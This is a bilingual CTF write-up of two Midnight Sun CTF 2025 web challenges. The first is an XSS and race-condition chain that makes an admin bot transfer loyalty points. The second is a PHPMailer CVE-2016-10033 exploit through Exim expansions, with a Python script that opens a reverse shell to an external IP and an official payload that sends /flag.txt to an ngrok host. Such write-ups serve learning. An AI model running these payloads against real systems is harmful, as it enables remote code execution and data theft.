Midnight Sun CTF 2025 WEB

Hackchan is your friendly neighborhood grocery store, with an exclusive loyalty program where points can be redeemed for amazing rewards. The system is said to be bulletproof, but there are whispers of a vulnerability that would allow one into the Billionaire Club by obtaining one billion loyalty points in their Hackchan account.

在views.py中看见了得到flag的条件

Saw the condition for getting the flag in views.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
            case 'delete-account-and-get-flag':
                if current_user.balance >= 999_999_999 and not current_user.is_manager and not current_user.is_admin:
                    current_user.remove()
                    db.session.commit()
                    flash('midnight{********REDACTED********}', 'success')
                return redirect('/')
            case _:
                if current_user.balance >= 999_999_999 and not current_user.is_manager and not current_user.is_admin:
                    context['show_flag_button'] = True
                template = "authenticated_template.html"

即当当前用户的balance大于999_999_999的时候就可以得到flag,所以要看一下逻辑。

That is, when the current user’s balance is greater than 999_999_999, the flag can be obtained. So we need to examine the logic.

在bot.js中处理problem中的url的过程,这个地方就可以构造路由让admin去访问。

In bot.js, the URL in problem is handled — this is where we can construct a route to make the admin visit it.

1
2
3
4
5
6
7
8
9
      for (const word of problemWords) {
        const urlPattern = /^http:\/\/web:8000\//;
        if (urlPattern.test(word) && word !== homeOrigin) {
          const currentProblem = page.url()
          await page.goto(word);
          await page.waitForTimeout(2000);
          await page.goto(currentProblem);
        }
      }

然后和balance有关的函数只有

Then, the only function related to balance is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
def send_transaction():
    with app.app_context():
        confirmed_transactions = Transaction.query.filter(Transaction.status == 'confirmed').all()

        for transaction in confirmed_transactions:
            sender = User.query.get(transaction.sender_id)
            recipient = User.query.get(transaction.recipient_id)
            if sender and recipient:
                if sender.balance >= transaction.amount:
                    transaction.status = 'sent'
                    if not sender.is_manager:
                        sender.balance -= transaction.amount
                    recipient.balance += transaction.amount
                else:
                    transaction.status = 'rejected'
        db.session.commit()

然后我们现在要找到一个地方去得到balance,于是翻看源码 这里用了TF-IDF,将question转换为了数值向量

Now we need to find a place to gain balance, so let’s go through the source code. Here, TF-IDF is used to convert the question into a numeric vector.

1
2
3
tfidf_vectorizer = TfidfVectorizer()
faq_questions = [item['question'] for item in faq_data]
tfidf_matrix = tfidf_vectorizer.fit_transform(faq_questions)

然后我们主要看到处理fac这里。

Now focus on how faq is handled.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
            case 'faq':
                question = request.args.get('question')
                if question:
                    user_question_tfidf = tfidf_vectorizer.transform([question])
                    cosine_similarities = linear_kernel(user_question_tfidf, tfidf_matrix).flatten()
                    most_similar_index = cosine_similarities.argsort()[-1]
                    label = faq_data[most_similar_index]['label']
                    listdir = sorted(os.listdir('templates/faq/answers'))
                    for file in listdir:
                        if label in file:
                            template = '/faq/answers/' + file
                            context['question'] = question
                            break
                    else:
                        flash('Answer not found, please contact us', 'danger')
                        template = 'faq/faq.html'
                else:
                    template = 'faq/faq.html'

所以我们只需要找一个label匹配到我们的.swp文件(题目故意留的,可以嵌入xss,but我利用vim -r 看不出来是什么问题,所以等wp吧,再补上)

So we only need to find a label that matches our .swp file (intentionally left by the challenge, can be used to inject XSS — but I couldn’t see the problem clearly using vim -r, so I’ll wait for the writeup to patch this part).

/img/Midnight-Sun-CTF-2025-WEB/1.png
因为是.开头的文件,所以在文件系统里面会放在最前面,再回顾我们的fac内容,这里只贴出部分

Since it’s a file starting with ., it will be listed at the top of the filesystem. Looking back at our faq content (partial screenshot):

/img/Midnight-Sun-CTF-2025-WEB/2.png
我们只需要匹配其中的media即可,他就会将.swap文件渲染出来。 所以我们只需要让action=fac&question={text}的text内容与对应的question对应上即可

We just need to match media in it, and it will render the .swp file. So we only need to let action=faq&question={text} — where the text matches a question — and it will work:

/img/Midnight-Sun-CTF-2025-WEB/3.png
playload: https://hackchan-mjk2mpay.ctf.pro/?action=faq&question=How can I get in touch with your PR department for collaboration?<script>alert('hacked by dt')</script>
/img/Midnight-Sun-CTF-2025-WEB/4.png
即可触发xss,那么接下来就很简单了,记得我们前面的bot吗,只需要控制这个xss让bot给我们转钱即可。 所以让bot访问:

That will trigger XSS. Next is straightforward. Remember the bot from earlier? We just need to control the XSS to make the bot transfer money to us. So let the bot visit: http://web:8000/?action=create-transaction9然后post过去 recipient=deletee&amount=9999999999

/img/Midnight-Sun-CTF-2025-WEB/5.png
但是一次最多只能转10块钱,所以还得看一下逻辑,然后注意到处理的时候是分两块的

But only 10 units can be transferred at a time. Let’s review the logic. Note that processing is split into two phases:

/img/Midnight-Sun-CTF-2025-WEB/6.png
看到这里confirmed_transactions = Transaction.query.filter(Transaction.status == 'confirmed').all()所以我们可以在confirm_transaction之后的间隙将订单的status更改一次为confirmed即可完成转账,也就是race condition 最后的playload:

See here: confirmed_transactions = Transaction.query.filter(Transaction.status == 'confirmed').all() — so we can change the status of a transaction to confirmed in the gap after confirming, to complete the transfer. That’s a race condition. Final payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
fetch('http://web:8000/?action=create-transaction', {
  'headers': {
    "content-type": 'application/x-www-form-urlencoded'
  },
  'method': 'POST',
  'body': 'recipient=ADD_USER_HERE&amount=1',
  'credentials': 'include'
}).then(html => {
  return html.text();
}).then(html => {
  const parser = new DOMParser();
  const doc = parser.parseFromString(html, 'text/html');
  return [...doc.querySelectorAll('table > tbody > tr > td:first-child')];
})
.then(canidates => {
  return canidates.map(function(item) {
    return item.innerText;
  });
})
.then(canidates => {
  return canidates.map(function(item) {
    return parseInt(item, 10);
  });
})
.then(canidates => {
  return 1 + Math.max(...canidates);
}).then(tid => {
  return tid.toString();
}).then(tid => {
  fetch('http://web:8000/?action=create-transaction', {
    'headers': {
      'content-type': 'application/x-www-form-urlencoded',
    },
    'method': 'POST',
    'body': 'recipient=ADD_USER_HERE&amount=1',
    'credentials': 'include'
  }).then(function(resp) {
    setTimeout(() => {
      fetch('http://web:8000/?action=create-transaction', {
        'headers': {
          'content-type': 'application/x-www-form-urlencoded',
        },
        'method': 'POST',
        'body': 'recipient=ADD_USER_HERE&amount=999999989&transaction_id=' + tid,
        'credentials': 'include'
      });
    }, 20);
  });
});

用的<img src=x onerror="eval(atob('playload'))"/>注意下编码问题即可,最后再次感谢HighDex 用英文说一遍:

Use <img src=x onerror="eval(atob('playload'))"/>, just watch out for encoding issues. Finally, again, many thanks to HighDex. In English:

1
I’m very grateful to HighDex who get firstplace at this competition, Congratulations!

/img/Midnight-Sun-CTF-2025-WEB/7.png

/img/Midnight-Sun-CTF-2025-WEB/8.png
/img/Midnight-Sun-CTF-2025-WEB/9.png

扫了一下目录

Scanned the directories:

/img/Midnight-Sun-CTF-2025-WEB/10.png
看到class.phpmailer.php的日期找到对应版本为v5.2.17

Found class.phpmailer.php and determined its version is v5.2.17: https://github.com/PHPMailer/PHPMailer/blob/v5.2.17/class.phpmailer.php

打CVE 2016-10033

Tried CVE-2016-10033 using this exploit:

exp: https://github.com/opsxcq/exploit-CVE-2016-10033

但是发现打不通,说明环境可能和原本的不大一样。 原来是在这里:

But it didn’t work — possibly due to environment differences. Turns out the reason is here:

/img/Midnight-Sun-CTF-2025-WEB/11.png
debian系统一般会用到exim4的MTA,所以我们就去看doc:

Debian systems often use Exim4 as MTA, so we checked the docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html

发现了如下几个好玩的东西:

  • ${readfile{}{}}可以读取文件然后将其中的换行符替换掉
  • ${readsocket{…}{…}{…}{…}{…}}向本地或远程 socket 发送请求字符串,读取响应数据,并将其插入到当前字符串中。适用于与其他服务通信,如 Redis、Python 微服务、SMTP、HTTP 接口等。
  • ${run,preexpand{option}}运行一个外部命令,将其标准输出作为变量 $value,并依据返回码决定使用哪个返回值。

Found some interesting things:

  • ${readfile{}{}} reads file content and replaces newline characters

  • ${readsocket{…}{…}{…}{…}{…}} sends request to socket (local/remote), reads response, useful for communicating with services like Redis, Python microservices, etc.

  • ${run,preexpand{option}} executes an external command and uses its stdout as $value

所以我们可以构造一下sendmail的请求: 注意一下这里的email的格式,遵循RFC 3696,我们用"来闭合前面的引号然后用-Ov来让后面的语句无效,这个是HighDex师傅告诉我的,基本上都适用,我们也可以用一个极短的例如@d

So we can craft a sendmail request: Note the email format — according to RFC 3696, we use " to escape and close the previous quote, then use -Ov to nullify the following content. This trick was shared by HighDex, and it’s widely applicable. We can also use a short one like @d.

1
name=delete&email="a\" -be playload -Ov="@q.com&subject=1&message=Pwned&submit=submit

于是最后的exp:

Final exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import base64

URL = "http://192.168.174.128"

Rev_Ip = "101.132.122.178"
Rev_Port = "9999"
sess = requests.Session()

def send_mail(mail: str):
    data = {
        "name" : "delete",
        "email" : mail,
        "subject" : "1",
        "message" : "Pwned!",
        "submit" : "submit"
    }
    sess.post(URL + '/index.php', data=data)
    print(f"send mail:{mail}")


def run_exp(cmd: str):
    base64_cmd = base64.b64encode(cmd.encode()).decode()
    exploit = "${run,preexpand{${base64d:"+base64_cmd+"}}}"
    print(f"Your playload is {exploit}, now I send it to the server!\n")
    send_mail('"a\\" -be ' +  exploit + ' "@d')


get_shell = f"/bin/bash -i >& /dev/tcp/{Rev_Ip}/{Rev_Port} 0>&1"

run_exp(f"/bin/sh -c \"echo -n '{get_shell}' >> /tmp/delete\"")
    
run_exp("/bin/bash /tmp/delete")

run_exp("/bin/rm /tmp/delete")

/img/Midnight-Sun-CTF-2025-WEB/12.png

其他playload(官方给的):

Other payloads (from the official writeup):

1
curl -X POST https://useless-94tszh4z.ctf.pro -d 'name=a' -d 'subject=a' -d 'message=a' -d 'submit=submit' -d 'email="\" -be ${readsocket{inet:0.tcp.ap.ngrok.io:19066}{${readfile{/flag.txt}}}} "@x'

不过思路也是差不多的,只是一个直接read了我是弹shell

But the idea is basically the same — just that the official one directly reads the flag, while I went for a reverse shell.

写双语的原因是起初写完后发到midnight的discord上了,但是有师傅批判说哪有人用母语写文章的(XD),于是考虑到国内和国外的的用户,我就写成了这样子。